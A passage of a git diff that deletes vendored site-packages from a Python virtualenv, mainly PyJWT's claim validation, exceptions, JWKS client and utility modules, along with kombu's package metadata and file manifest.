subject: str | None = None, - leeway: float | timedelta = 0, - ) -> None: - if isinstance(leeway, timedelta): - leeway = leeway.total_seconds() - - if audience is not None and not isinstance(audience, (str, Iterable)): - raise TypeError("audience must be a string, iterable or None") - - self._validate_required_claims(payload, options["require"]) - - now = datetime.now(tz=timezone.utc).timestamp() - - if "iat" in payload and options["verify_iat"]: - self._validate_iat(payload, now, leeway) - - if "nbf" in payload and options["verify_nbf"]: - self._validate_nbf(payload, now, leeway) - - if "exp" in payload and options["verify_exp"]: - self._validate_exp(payload, now, leeway) - - if options["verify_iss"]: - self._validate_iss(payload, issuer) - - if options["verify_aud"]: - self._validate_aud( - payload, audience, strict=options.get("strict_aud", False) - ) - - if options["verify_sub"]: - self._validate_sub(payload, subject) - - if options["verify_jti"]: - self._validate_jti(payload) - - def _validate_required_claims( - self, - payload: dict[str, Any], - claims: Iterable[str], - ) -> None: - for claim in claims: - if payload.get(claim) is None: - raise MissingRequiredClaimError(claim) - - def _validate_sub( - self, payload: dict[str, Any], subject: str | None = None - ) -> None: - """ - Checks whether "sub" if in the payload is valid or not. - This is an Optional claim - - :param payload(dict): The payload which needs to be validated - :param subject(str): The subject of the token - """ - - if "sub" not in payload: - return - - if not isinstance(payload["sub"], str): - raise InvalidSubjectError("Subject must be a string") - - if subject is not None: - if payload.get("sub") != subject: - raise InvalidSubjectError("Invalid subject") - - def _validate_jti(self, payload: dict[str, Any]) -> None: - """ - Checks whether "jti" if in the payload is valid or not - This is an Optional claim - - :param payload(dict): The payload which needs to be validated - """ - - if "jti" not in payload: - return - - if not isinstance(payload.get("jti"), str): - raise InvalidJTIError("JWT ID must be a string") - - def _validate_iat( - self, - payload: dict[str, Any], - now: float, - leeway: float, - ) -> None: - try: - iat = int(payload["iat"]) - except ValueError: - raise InvalidIssuedAtError( - "Issued At claim (iat) must be an integer." - ) from None - if iat > (now + leeway): - raise ImmatureSignatureError("The token is not yet valid (iat)") - - def _validate_nbf( - self, - payload: dict[str, Any], - now: float, - leeway: float, - ) -> None: - try: - nbf = int(payload["nbf"]) - except ValueError: - raise DecodeError("Not Before claim (nbf) must be an integer.") from None - - if nbf > (now + leeway): - raise ImmatureSignatureError("The token is not yet valid (nbf)") - - def _validate_exp( - self, - payload: dict[str, Any], - now: float, - leeway: float, - ) -> None: - try: - exp = int(payload["exp"]) - except ValueError: - raise DecodeError( - "Expiration Time claim (exp) must be an integer." - ) from None - - if exp <= (now - leeway): - raise ExpiredSignatureError("Signature has expired") - - def _validate_aud( - self, - payload: dict[str, Any], - audience: str | Iterable[str] | None, - *, - strict: bool = False, - ) -> None: - if audience is None: - if "aud" not in payload or not payload["aud"]: - return - # Application did not specify an audience, but - # the token has the 'aud' claim - raise InvalidAudienceError("Invalid audience") - - if "aud" not in payload or not payload["aud"]: - # Application specified an audience, but it could not be - # verified since the token does not contain a claim. - raise MissingRequiredClaimError("aud") - - audience_claims = payload["aud"] - - # In strict mode, we forbid list matching: the supplied audience - # must be a string, and it must exactly match the audience claim. - if strict: - # Only a single audience is allowed in strict mode. - if not isinstance(audience, str): - raise InvalidAudienceError("Invalid audience (strict)") - - # Only a single audience claim is allowed in strict mode. - if not isinstance(audience_claims, str): - raise InvalidAudienceError("Invalid claim format in token (strict)") - - if audience != audience_claims: - raise InvalidAudienceError("Audience doesn't match (strict)") - - return - - if isinstance(audience_claims, str): - audience_claims = [audience_claims] - if not isinstance(audience_claims, list): - raise InvalidAudienceError("Invalid claim format in token") - if any(not isinstance(c, str) for c in audience_claims): - raise InvalidAudienceError("Invalid claim format in token") - - if isinstance(audience, str): - audience = [audience] - - if all(aud not in audience_claims for aud in audience): - raise InvalidAudienceError("Audience doesn't match") - - def _validate_iss( - self, payload: dict[str, Any], issuer: Container[str] | str | None - ) -> None: - if issuer is None: - return - - if "iss" not in payload: - raise MissingRequiredClaimError("iss") - - iss = payload["iss"] - if not isinstance(iss, str): - raise InvalidIssuerError("Payload Issuer (iss) must be a string") - - if isinstance(issuer, str): - if iss != issuer: - raise InvalidIssuerError("Invalid issuer") - else: - try: - if iss not in issuer: - raise InvalidIssuerError("Invalid issuer") - except TypeError: - raise InvalidIssuerError( - 'Issuer param must be "str" or "Container[str]"' - ) from None - - -_jwt_global_obj = PyJWT() -_jwt_global_obj._jws = _jws_global_obj -encode = _jwt_global_obj.encode -decode_complete = _jwt_global_obj.decode_complete -decode = _jwt_global_obj.decode diff --git a/venv/Lib/site-packages/jwt/exceptions.py b/venv/Lib/site-packages/jwt/exceptions.py deleted file mode 100644 index 57559fc43350e21458fe270b19c2384d6652feef..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/jwt/exceptions.py +++ /dev/null @@ -1,113 +0,0 @@ -class PyJWTError(Exception): - """ - Base class for all exceptions - """ - - pass - - -class InvalidTokenError(PyJWTError): - """Base exception when ``decode()`` fails on a token""" - - pass - - -class DecodeError(InvalidTokenError): - """Raised when a token cannot be decoded because it failed validation""" - - pass - - -class InvalidSignatureError(DecodeError): - """Raised when a token's signature doesn't match the one provided as part of - the token.""" - - pass - - -class ExpiredSignatureError(InvalidTokenError): - """Raised when a token's ``exp`` claim indicates that it has expired""" - - pass - - -class InvalidAudienceError(InvalidTokenError): - """Raised when a token's ``aud`` claim does not match one of the expected - audience values""" - - pass - - -class InvalidIssuerError(InvalidTokenError): - """Raised when a token's ``iss`` claim does not match the expected issuer""" - - pass - - -class InvalidIssuedAtError(InvalidTokenError): - """Raised when a token's ``iat`` claim is non-numeric""" - - pass - - -class ImmatureSignatureError(InvalidTokenError): - """Raised when a token's ``nbf`` or ``iat`` claims represent a time in the future""" - - pass - - -class InvalidKeyError(PyJWTError): - """Raised when the specified key is not in the proper format""" - - pass - - -class InvalidAlgorithmError(InvalidTokenError): - """Raised when the specified algorithm is not recognized by PyJWT""" - - pass - - -class MissingRequiredClaimError(InvalidTokenError): - """Raised when a claim that is required to be present is not contained - in the claimset""" - - def __init__(self, claim: str) -> None: - self.claim = claim - - def __str__(self) -> str: - return f'Token is missing the "{self.claim}" claim' - - -class PyJWKError(PyJWTError): - pass - - -class MissingCryptographyError(PyJWKError): - """Raised if the algorithm requires ``cryptography`` to be installed and it is not available.""" - - pass - - -class PyJWKSetError(PyJWTError): - pass - - -class PyJWKClientError(PyJWTError): - pass - - -class PyJWKClientConnectionError(PyJWKClientError): - pass - - -class InvalidSubjectError(InvalidTokenError): - """Raised when a token's ``sub`` claim is not a string or doesn't match the expected ``subject``""" - - pass - - -class InvalidJTIError(InvalidTokenError): - """Raised when a token's ``jti`` claim is not a string""" - - pass diff --git a/venv/Lib/site-packages/jwt/help.py b/venv/Lib/site-packages/jwt/help.py deleted file mode 100644 index 2f42b5daf51e9ad66a50af0e46731d40d0f79973..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/jwt/help.py +++ /dev/null @@ -1,66 +0,0 @@ -import json -import platform -import sys - -from . import __version__ as pyjwt_version - -try: - import cryptography - - cryptography_version = cryptography.__version__ -except ModuleNotFoundError: - cryptography_version = "" - - -def info() -> dict[str, dict[str, str]]: - """ - Generate information for a bug report. - Based on the requests package help utility module. - """ - try: - platform_info = { - "system": platform.system(), - "release": platform.release(), - } - except OSError: - platform_info = {"system": "Unknown", "release": "Unknown"} - - implementation = platform.python_implementation() - - if implementation == "CPython": - implementation_version = platform.python_version() - elif implementation == "PyPy": - pypy_version_info = sys.pypy_version_info # type: ignore[attr-defined] - implementation_version = ( - f"{pypy_version_info.major}." - f"{pypy_version_info.minor}." - f"{pypy_version_info.micro}" - ) - if pypy_version_info.releaselevel != "final": - implementation_version = "".join( - [ - implementation_version, - pypy_version_info.releaselevel, - ] - ) - else: - implementation_version = "Unknown" - - return { - "platform": platform_info, - "implementation": { - "name": implementation, - "version": implementation_version, - }, - "cryptography": {"version": cryptography_version}, - "pyjwt": {"version": pyjwt_version}, - } - - -def main() -> None: - """Pretty-print the bug information as JSON.""" - print(json.dumps(info(), sort_keys=True, indent=2)) - - -if __name__ == "__main__": - main() diff --git a/venv/Lib/site-packages/jwt/jwk_set_cache.py b/venv/Lib/site-packages/jwt/jwk_set_cache.py deleted file mode 100644 index f3f3ca5726ad724df43a4b5645468fe1f14ef886..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/jwt/jwk_set_cache.py +++ /dev/null @@ -1,31 +0,0 @@ -import time -from typing import Optional - -from .api_jwk import PyJWKSet, PyJWTSetWithTimestamp - - -class JWKSetCache: - def __init__(self, lifespan: float) -> None: - self.jwk_set_with_timestamp: Optional[PyJWTSetWithTimestamp] = None - self.lifespan = lifespan - - def put(self, jwk_set: PyJWKSet) -> None: - if jwk_set is not None: - self.jwk_set_with_timestamp = PyJWTSetWithTimestamp(jwk_set) - else: - # clear cache - self.jwk_set_with_timestamp = None - - def get(self) -> Optional[PyJWKSet]: - if self.jwk_set_with_timestamp is None or self.is_expired(): - return None - - return self.jwk_set_with_timestamp.get_jwk_set() - - def is_expired(self) -> bool: - return ( - self.jwk_set_with_timestamp is not None - and self.lifespan > -1 - and time.monotonic() - > self.jwk_set_with_timestamp.get_timestamp() + self.lifespan - ) diff --git a/venv/Lib/site-packages/jwt/jwks_client.py b/venv/Lib/site-packages/jwt/jwks_client.py deleted file mode 100644 index 41f333a9cdfd61fd12efd1d38e33f9056d62da1b..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/jwt/jwks_client.py +++ /dev/null @@ -1,246 +0,0 @@ -from __future__ import annotations - -import json -import urllib.request -from functools import lru_cache -from ssl import SSLContext -from typing import Any -from urllib.error import HTTPError, URLError -from urllib.parse import urlparse - -from .api_jwk import PyJWK, PyJWKSet -from .api_jwt import decode_complete as decode_token -from .exceptions import PyJWKClientConnectionError, PyJWKClientError -from .jwk_set_cache import JWKSetCache - - -class PyJWKClient: - def __init__( - self, - uri: str, - cache_keys: bool = False, - max_cached_keys: int = 16, - cache_jwk_set: bool = True, - lifespan: float = 300, - headers: dict[str, Any] | None = None, - timeout: float = 30, - ssl_context: SSLContext | None = None, - ): - """A client for retrieving signing keys from a JWKS endpoint. - - ``PyJWKClient`` uses a two-tier caching system to avoid unnecessary - network requests: - - **Tier 1 — JWK Set cache** (enabled by default): - Caches the entire JSON Web Key Set response from the endpoint. - Controlled by: - - - ``cache_jwk_set``: Set to ``True`` (the default) to enable this - cache. When enabled, the JWK Set is fetched from the network only - when the cache is empty or expired. - - ``lifespan``: Time in seconds before the cached JWK Set expires. - Defaults to ``300`` (5 minutes). Must be greater than 0. - - **Tier 2 — Signing key cache** (disabled by default): - Caches individual signing keys (looked up by ``kid``) using an LRU - cache with **no time-based expiration**. Keys are evicted only when - the cache reaches its maximum size. Controlled by: - - - ``cache_keys``: Set to ``True`` to enable this cache. - Defaults to ``False``. - - ``max_cached_keys``: Maximum number of signing keys to keep in - the LRU cache. Defaults to ``16``. - - :param uri: The URL of the JWKS endpoint. - :type uri: str - :param cache_keys: Enable the per-key LRU cache (Tier 2). - :type cache_keys: bool - :param max_cached_keys: Max entries in the signing key LRU cache. - :type max_cached_keys: int - :param cache_jwk_set: Enable the JWK Set response cache (Tier 1). - :type cache_jwk_set: bool - :param lifespan: TTL in seconds for the JWK Set cache. - :type lifespan: float - :param headers: Optional HTTP headers to include in requests. - :type headers: dict or None - :param timeout: HTTP request timeout in seconds. - :type timeout: float - :param ssl_context: Optional SSL context for the request. - :type ssl_context: ssl.SSLContext or None - """ - if headers is None: - headers = {} - # urllib's default OpenerDirector also handles file://, ftp://, and - # data: URIs. Reject anything that isn't http(s) eagerly so a caller - # passing an attacker-influenced URL (e.g. taken from a `jku` token - # header) can't read local files or reach other unintended schemes. - scheme = urlparse(uri).scheme.lower() - if scheme not in ("http", "https"): - raise PyJWKClientError( - f"Invalid JWKS URI scheme {scheme!r}: only 'http' and 'https' " - f"are supported." - ) - self.uri = uri - self.jwk_set_cache: JWKSetCache | None = None - self.headers = headers - self.timeout = timeout - self.ssl_context = ssl_context - - if cache_jwk_set: - # Init jwt set cache with default or given lifespan. - # Default lifespan is 300 seconds (5 minutes). - if lifespan <= 0: - raise PyJWKClientError( - f'Lifespan must be greater than 0, the input is "{lifespan}"' - ) - self.jwk_set_cache = JWKSetCache(lifespan) - else: - self.jwk_set_cache = None - - if cache_keys: - # Cache signing keys - get_signing_key = lru_cache(maxsize=max_cached_keys)(self.get_signing_key) - # Ignore mypy (https://github.com/python/mypy/issues/2427) - self.get_signing_key = get_signing_key # type: ignore[method-assign] - - def fetch_data(self) -> Any: - """Fetch the JWK Set from the JWKS endpoint. - - Makes an HTTP request to the configured ``uri`` and returns the - parsed JSON response. If the JWK Set cache is enabled, the - response is stored in the cache. - - :returns: The parsed JWK Set as a dictionary. - :raises PyJWKClientConnectionError: If the HTTP request fails. - """ - try: - r = urllib.request.Request(url=self.uri, headers=self.headers) - with urllib.request.urlopen( - r, timeout=self.timeout, context=self.ssl_context - ) as response: - jwk_set = json.load(response) - except (URLError, TimeoutError) as e: - if isinstance(e, HTTPError): - e.close() - raise PyJWKClientConnectionError( - f'Fail to fetch data from the url, err: "{e}"' - ) from e - - # Only update the cache on a successful fetch. Writing in a - # `finally` block with `jwk_set=None` on error clears any - # previously-cached JWKS, turning a transient outage into a cache - # wipe that breaks legitimate auth. - if self.jwk_set_cache is not None: - self.jwk_set_cache.put(jwk_set) - return jwk_set - - def get_jwk_set(self, refresh: bool = False) -> PyJWKSet: - """Return the JWK Set, using the cache when available. - - :param refresh: Force a fresh fetch from the endpoint, bypassing - the cache. - :type refresh: bool - :returns: The JWK Set. - :rtype: PyJWKSet - :raises PyJWKClientError: If the endpoint does not return a JSON - object. - """ - data = None - if self.jwk_set_cache is not None and not refresh: - data = self.jwk_set_cache.get() - - if data is None: - data = self.fetch_data() - - if not isinstance(data, dict): - raise PyJWKClientError("The JWKS endpoint did not return a JSON object") - - return PyJWKSet.from_dict(data) - - def get_signing_keys(self, refresh: bool = False) -> list[PyJWK]: - """Return all signing keys from the JWK Set. - - Filters the JWK Set to keys whose ``use`` is ``"sig"`` (or - unspecified) and that have a ``kid``. - - :param refresh: Force a fresh fetch from the endpoint, bypassing - the cache. - :type refresh: bool - :returns: A list of signing keys. - :rtype: list[PyJWK] - :raises PyJWKClientError: If no signing keys are found. - """ - jwk_set = self.get_jwk_set(refresh) - signing_keys = [ - jwk_set_key - for jwk_set_key in jwk_set.keys - if jwk_set_key.public_key_use in ["sig", None] and jwk_set_key.key_id - ] - - if not signing_keys: - raise PyJWKClientError("The JWKS endpoint did not contain any signing keys") - - return signing_keys - - def get_signing_key(self, kid: str) -> PyJWK: - """Return the signing key matching the given ``kid``. - - If no match is found in the current JWK Set, the set is - refreshed from the endpoint and the lookup is retried once. - - :param kid: The key ID to look up. - :type kid: str - :returns: The matching signing key. - :rtype: PyJWK - :raises PyJWKClientError: If no matching key is found after - refreshing. - """ - signing_keys = self.get_signing_keys() - signing_key = self.match_kid(signing_keys, kid) - - if not signing_key: - # If no matching signing key from the jwk set, refresh the jwk set and try again. - signing_keys = self.get_signing_keys(refresh=True) - signing_key = self.match_kid(signing_keys, kid) - - if not signing_key: - raise PyJWKClientError( - f'Unable to find a signing key that matches: "{kid}"' - ) - - return signing_key - - def get_signing_key_from_jwt(self, token: str | bytes) -> PyJWK: - """Return the signing key for a JWT by reading its ``kid`` header. - - Extracts the ``kid`` from the token's unverified header and - delegates to :meth:`get_signing_key`. - - :param token: The encoded JWT. - :type token: str or bytes - :returns: The matching signing key. - :rtype: PyJWK - """ - unverified = decode_token(token, options={"verify_signature": False}) - header = unverified["header"] - return self.get_signing_key(header.get("kid")) - - @staticmethod - def match_kid(signing_keys: list[PyJWK], kid: str) -> PyJWK | None: - """Find a key in *signing_keys* that matches *kid*. - - :param signing_keys: The list of keys to search. - :type signing_keys: list[PyJWK] - :param kid: The key ID to match. - :type kid: str - :returns: The matching key, or ``None`` if not found. - :rtype: PyJWK or None - """ - signing_key = None - - for key in signing_keys: - if key.key_id == kid: - signing_key = key - break - - return signing_key diff --git a/venv/Lib/site-packages/jwt/py.typed b/venv/Lib/site-packages/jwt/py.typed deleted file mode 100644 index e69de29bb2d1d6434b8b29ae775ad8c2e48c5391..0000000000000000000000000000000000000000 diff --git a/venv/Lib/site-packages/jwt/types.py b/venv/Lib/site-packages/jwt/types.py deleted file mode 100644 index 61bfdf03415c70aac51185e6738a8fab9e6f1b01..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/jwt/types.py +++ /dev/null @@ -1,69 +0,0 @@ -from typing import Any, Callable, TypedDict - -JWKDict = dict[str, Any] - -HashlibHash = Callable[..., Any] - - -class SigOptions(TypedDict, total=False): - """Options for PyJWS class (TypedDict). Note that this is a smaller set of options than - for :py:func:`jwt.decode()`.""" - - verify_signature: bool - """verify the JWT cryptographic signature""" - enforce_minimum_key_length: bool - """Default: ``False``. Raise :py:class:`jwt.exceptions.InvalidKeyError` instead of warning when keys are below minimum recommended length.""" - - -class Options(TypedDict, total=False): - """Options for :py:func:`jwt.decode()` and :py:func:`jwt.decode_complete()` (TypedDict). - - .. warning:: - - Some claims, such as ``exp``, ``iat``, ``jti``, ``nbf``, and ``sub``, - will only be verified if present. Please refer to the documentation below - for which ones, and make sure to include them in the ``require`` param - if you want to make sure that they are always present (and therefore always verified - if ``verify_{claim} = True`` for that claim). - """ - - verify_signature: bool - """Default: ``True``. Verify the JWT cryptographic signature.""" - require: list[str] - """Default: ``[]``. List of claims that must be present. - Example: ``require=["exp", "iat", "nbf"]``. - **Only verifies that the claims exists**. Does not verify that the claims are valid.""" - strict_aud: bool - """Default: ``False``. (requires ``verify_aud=True``) Check that the ``aud`` claim is a single value (not a list), and matches ``audience`` exactly.""" - verify_aud: bool - """Default: ``verify_signature``. Check that ``aud`` (audience) claim matches ``audience``.""" - verify_exp: bool - """Default: ``verify_signature``. Check that ``exp`` (expiration) claim value is in the future (if present in payload). """ - verify_iat: bool - """Default: ``verify_signature``. Check that ``iat`` (issued at) claim value is an integer (if present in payload). """ - verify_iss: bool - """Default: ``verify_signature``. Check that ``iss`` (issuer) claim matches ``issuer``. """ - verify_jti: bool - """Default: ``verify_signature``. Check that ``jti`` (JWT ID) claim is a string (if present in payload). """ - verify_nbf: bool - """Default: ``verify_signature``. Check that ``nbf`` (not before) claim value is in the past (if present in payload). """ - verify_sub: bool - """Default: ``verify_signature``. Check that ``sub`` (subject) claim is a string and matches ``subject`` (if present in payload). """ - enforce_minimum_key_length: bool - """Default: ``False``. Raise :py:class:`jwt.exceptions.InvalidKeyError` instead of warning when keys are below minimum recommended length.""" - - -# The only difference between Options and FullOptions is that FullOptions -# required _every_ value to be there; Options doesn't require any -class FullOptions(TypedDict): - verify_signature: bool - require: list[str] - strict_aud: bool - verify_aud: bool - verify_exp: bool - verify_iat: bool - verify_iss: bool - verify_jti: bool - verify_nbf: bool - verify_sub: bool - enforce_minimum_key_length: bool diff --git a/venv/Lib/site-packages/jwt/utils.py b/venv/Lib/site-packages/jwt/utils.py deleted file mode 100644 index 56e89bb7782f4b5f61c9b2197258dcbf45335d33..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/jwt/utils.py +++ /dev/null @@ -1,142 +0,0 @@ -import base64 -import binascii -import re -from typing import Optional, Union - -try: - from cryptography.hazmat.primitives.asymmetric.ec import EllipticCurve - from cryptography.hazmat.primitives.asymmetric.utils import ( - decode_dss_signature, - encode_dss_signature, - ) -except ModuleNotFoundError: - pass - - -def force_bytes(value: Union[bytes, str]) -> bytes: - if isinstance(value, str): - return value.encode("utf-8") - elif isinstance(value, bytes): - return value - else: - raise TypeError("Expected a string value") - - -def base64url_decode(input: Union[bytes, str]) -> bytes: - input_bytes = force_bytes(input) - - rem = len(input_bytes) % 4 - - if rem > 0: - input_bytes += b"=" * (4 - rem) - - return base64.urlsafe_b64decode(input_bytes) - - -def base64url_encode(input: bytes) -> bytes: - return base64.urlsafe_b64encode(input).replace(b"=", b"") - - -def to_base64url_uint(val: int, *, bit_length: Optional[int] = None) -> bytes: - if val < 0: - raise ValueError("Must be a positive integer") - - int_bytes = bytes_from_int(val, bit_length=bit_length) - - if len(int_bytes) == 0: - int_bytes = b"\x00" - - return base64url_encode(int_bytes) - - -def from_base64url_uint(val: Union[bytes, str]) -> int: - data = base64url_decode(force_bytes(val)) - return int.from_bytes(data, byteorder="big") - - -def number_to_bytes(num: int, num_bytes: int) -> bytes: - padded_hex = "%0*x" % (2 * num_bytes, num) - return binascii.a2b_hex(padded_hex.encode("ascii")) - - -def bytes_to_number(string: bytes) -> int: - return int(binascii.b2a_hex(string), 16) - - -def bytes_from_int(val: int, *, bit_length: Optional[int] = None) -> bytes: - if bit_length is None: - bit_length = val.bit_length() - byte_length = (bit_length + 7) // 8 - - return val.to_bytes(byte_length, "big", signed=False) - - -def der_to_raw_signature(der_sig: bytes, curve: "EllipticCurve") -> bytes: - num_bits = curve.key_size - num_bytes = (num_bits + 7) // 8 - - r, s = decode_dss_signature(der_sig) - - return number_to_bytes(r, num_bytes) + number_to_bytes(s, num_bytes) - - -def raw_to_der_signature(raw_sig: bytes, curve: "EllipticCurve") -> bytes: - num_bits = curve.key_size - num_bytes = (num_bits + 7) // 8 - - if len(raw_sig) != 2 * num_bytes: - raise ValueError("Invalid signature") - - r = bytes_to_number(raw_sig[:num_bytes]) - s = bytes_to_number(raw_sig[num_bytes:]) - - return bytes(encode_dss_signature(r, s)) - - -# Based on https://github.com/hynek/pem/blob/7ad94db26b0bc21d10953f5dbad3acfdfacf57aa/src/pem/_core.py#L224-L252 -_PEMS = { - b"CERTIFICATE", - b"TRUSTED CERTIFICATE", - b"PRIVATE KEY", - b"PUBLIC KEY", - b"ENCRYPTED PRIVATE KEY", - b"OPENSSH PRIVATE KEY", - b"DSA PRIVATE KEY", - b"RSA PRIVATE KEY", - b"RSA PUBLIC KEY", - b"EC PRIVATE KEY", - b"DH PARAMETERS", - b"NEW CERTIFICATE REQUEST", - b"CERTIFICATE REQUEST", - b"SSH2 PUBLIC KEY", - b"SSH2 ENCRYPTED PRIVATE KEY", - b"X509 CRL", -} - -_PEM_RE = re.compile( - b"----[- ]BEGIN (" - + b"|".join(_PEMS) - + b""")[- ]----\r? -.+?\r? -----[- ]END \\1[- ]----\r?\n?""", - re.DOTALL, -) - - -def is_pem_format(key: bytes) -> bool: - return bool(_PEM_RE.search(key)) - - -# Based on https://github.com/pyca/cryptography/blob/bcb70852d577b3f490f015378c75cba74986297b/src/cryptography/hazmat/primitives/serialization/ssh.py#L40-L46 -_SSH_KEY_FORMATS = ( - b"ssh-ed25519", - b"ssh-rsa", - b"ssh-dss", - b"ecdsa-sha2-nistp256", - b"ecdsa-sha2-nistp384", - b"ecdsa-sha2-nistp521", -) - - -def is_ssh_key(key: bytes) -> bool: - return key.startswith(_SSH_KEY_FORMATS) diff --git a/venv/Lib/site-packages/jwt/warnings.py b/venv/Lib/site-packages/jwt/warnings.py deleted file mode 100644 index 8a41a36d10882888cd5398f697bc1a2a04706214..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/jwt/warnings.py +++ /dev/null @@ -1,11 +0,0 @@ -class RemovedInPyjwt3Warning(DeprecationWarning): - """Warning for features that will be removed in PyJWT 3.""" - - pass - - -class InsecureKeyLengthWarning(UserWarning): - """Warning emitted when a cryptographic key is shorter than the minimum - recommended length. See :ref:`key-length-validation` for details.""" - - pass diff --git a/venv/Lib/site-packages/kombu-5.6.2.dist-info/INSTALLER b/venv/Lib/site-packages/kombu-5.6.2.dist-info/INSTALLER deleted file mode 100644 index a1b589e38a32041e49332e5e81c2d363dc418d68..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/kombu-5.6.2.dist-info/INSTALLER +++ /dev/null @@ -1 +0,0 @@ -pip diff --git a/venv/Lib/site-packages/kombu-5.6.2.dist-info/METADATA b/venv/Lib/site-packages/kombu-5.6.2.dist-info/METADATA deleted file mode 100644 index b2f9617a70eaad41e2df6cd7347523c549519060..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/kombu-5.6.2.dist-info/METADATA +++ /dev/null @@ -1,86 +0,0 @@ -Metadata-Version: 2.4 -Name: kombu -Version: 5.6.2 -Summary: Messaging library for Python. -Home-page: https://kombu.readthedocs.io -Author: Ask Solem -Author-email: auvipy@gmail.com -License: BSD-3-Clause -Project-URL: Source, https://github.com/celery/kombu -Keywords: messaging message amqp rabbitmq redis actor producer consumer -Platform: any -Classifier: Development Status :: 5 - Production/Stable -Classifier: Operating System :: OS Independent -Classifier: Programming Language :: Python -Classifier: Programming Language :: Python :: 3 :: Only -Classifier: Programming Language :: Python :: 3 -Classifier: Programming Language :: Python :: 3.9 -Classifier: Programming Language :: Python :: 3.10 -Classifier: Programming Language :: Python :: 3.11 -Classifier: Programming Language :: Python :: 3.12 -Classifier: Programming Language :: Python :: 3.13 -Classifier: Programming Language :: Python :: Implementation :: CPython -Classifier: Programming Language :: Python :: Implementation :: PyPy -Classifier: Intended Audience :: Developers -Classifier: Topic :: Communications -Classifier: Topic :: System :: Distributed Computing -Classifier: Topic :: System :: Networking -Classifier: Topic :: Software Development :: Libraries :: Python Modules -Requires-Python: >=3.9 -License-File: LICENSE -Requires-Dist: amqp<6.0.0,>=5.1.1 -Requires-Dist: vine==5.1.0 -Requires-Dist: tzdata>=2025.2 -Requires-Dist: packaging -Provides-Extra: msgpack -Requires-Dist: msgpack==1.1.2; extra == "msgpack" -Provides-Extra: yaml -Requires-Dist: PyYAML>=3.10; extra == "yaml" -Provides-Extra: redis -Requires-Dist: redis!=4.5.5,!=5.0.2,<6.5,>=4.5.2; extra == "redis" -Provides-Extra: mongodb -Requires-Dist: pymongo==4.15.3; extra == "mongodb" -Provides-Extra: sqs -Requires-Dist: boto3>=1.26.143; extra == "sqs" -Requires-Dist: pycurl>=7.43.0.5; (sys_platform != "win32" and platform_python_implementation == "CPython") and extra == "sqs" -Requires-Dist: urllib3>=1.26.16; extra == "sqs" -Provides-Extra: gcpubsub -Requires-Dist: google-cloud-pubsub>=2.18.4; extra == "gcpubsub" -Requires-Dist: google-cloud-monitoring>=2.16.0; extra == "gcpubsub" -Requires-Dist: grpcio==1.75.1; extra == "gcpubsub" -Requires-Dist: protobuf==6.32.1; extra == "gcpubsub" -Provides-Extra: zookeeper -Requires-Dist: kazoo>=2.8.0; extra == "zookeeper" -Provides-Extra: sqlalchemy -Requires-Dist: sqlalchemy<2.1,>=1.4.48; extra == "sqlalchemy" -Provides-Extra: librabbitmq -Requires-Dist: librabbitmq>=2.0.0; python_version < "3.11" and extra == "librabbitmq" -Provides-Extra: pyro -Requires-Dist: pyro4==4.82; extra == "pyro" -Provides-Extra: slmq -Requires-Dist: softlayer_messaging>=1.0.3; extra == "slmq" -Provides-Extra: azurestoragequeues -Requires-Dist: azure-storage-queue>=12.6.0; extra == "azurestoragequeues" -Requires-Dist: azure-identity>=1.12.0; extra == "azurestoragequeues" -Provides-Extra: azureservicebus -Requires-Dist: azure-servicebus>=7.10.0; extra == "azureservicebus" -Provides-Extra: qpid -Requires-Dist: qpid-python==1.36.0-1; extra == "qpid" -Requires-Dist: qpid-tools==1.36.0-1; extra == "qpid" -Provides-Extra: consul -Requires-Dist: python-consul2==0.1.5; extra == "consul" -Provides-Extra: confluentkafka -Requires-Dist: confluent-kafka>=2.2.0; extra == "confluentkafka" -Dynamic: author -Dynamic: author-email -Dynamic: classifier -Dynamic: home-page -Dynamic: keywords -Dynamic: license -Dynamic: license-file -Dynamic: platform -Dynamic: project-url -Dynamic: provides-extra -Dynamic: requires-dist -Dynamic: requires-python -Dynamic: summary diff --git a/venv/Lib/site-packages/kombu-5.6.2.dist-info/RECORD b/venv/Lib/site-packages/kombu-5.6.2.dist-info/RECORD deleted file mode 100644 index 16da8fed6f9f15684a36352b0baceb121990efd4..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/kombu-5.6.2.dist-info/RECORD +++ /dev/null @@ -1,162 +0,0 @@ -kombu-5.6.2.dist-info/INSTALLER,sha256=zuuue4knoyJ-UwPPXg8fezS7VCrXJQrAP7zeNuwvFQg,4 -kombu-5.6.2.dist-info/METADATA,sha256=Mej-01wKoLIWCF05W-HIsyi7BTof7zmBg5Tt9e40Axs,3465 -kombu-5.6.2.dist-info/RECORD,, -kombu-5.6.2.dist-info/WHEEL,sha256=_zCd3N1l69ArxyTb8rzEoP9TpbYXkqRFSNOD5OuxnTs,91 -kombu-5.6.2.dist-info/licenses/LICENSE,sha256=ciFt4J5jQNLBqmf4M8O2ru7i5pInITZmmYEbYyZA_Ts,1664 -kombu-5.6.2.dist-info/top_level.txt,sha256=uoTZ9rdRBzLZu_Hnt_3txqi3DQMIaLwFr3LXJ8HT0G4,6 -kombu/__init__.py,sha256=2GtjDbkv5L-Twp6sSml3GZMkf73UA0-d7EWXU7_qhAo,3899 -kombu/__pycache__/__init__.cpython-314.pyc,, -kombu/__pycache__/abstract.cpython-314.pyc,, -kombu/__pycache__/clocks.cpython-314.pyc,, -kombu/__pycache__/common.cpython-314.pyc,, -kombu/__pycache__/compat.cpython-314.pyc,, -kombu/__pycache__/compression.cpython-314.pyc,, -kombu/__pycache__/connection.cpython-314.pyc,, -kombu/__pycache__/entity.cpython-314.pyc,, -kombu/__pycache__/exceptions.cpython-314.pyc,, -kombu/__pycache__/log.cpython-314.pyc,, -kombu/__pycache__/matcher.cpython-314.pyc,, -kombu/__pycache__/message.cpython-314.pyc,, -kombu/__pycache__/messaging.cpython-314.pyc,, -kombu/__pycache__/mixins.cpython-314.pyc,, -kombu/__pycache__/pidbox.cpython-314.pyc,, -kombu/__pycache__/pools.cpython-314.pyc,, -kombu/__pycache__/resource.cpython-314.pyc,, -kombu/__pycache__/serialization.cpython-314.pyc,, 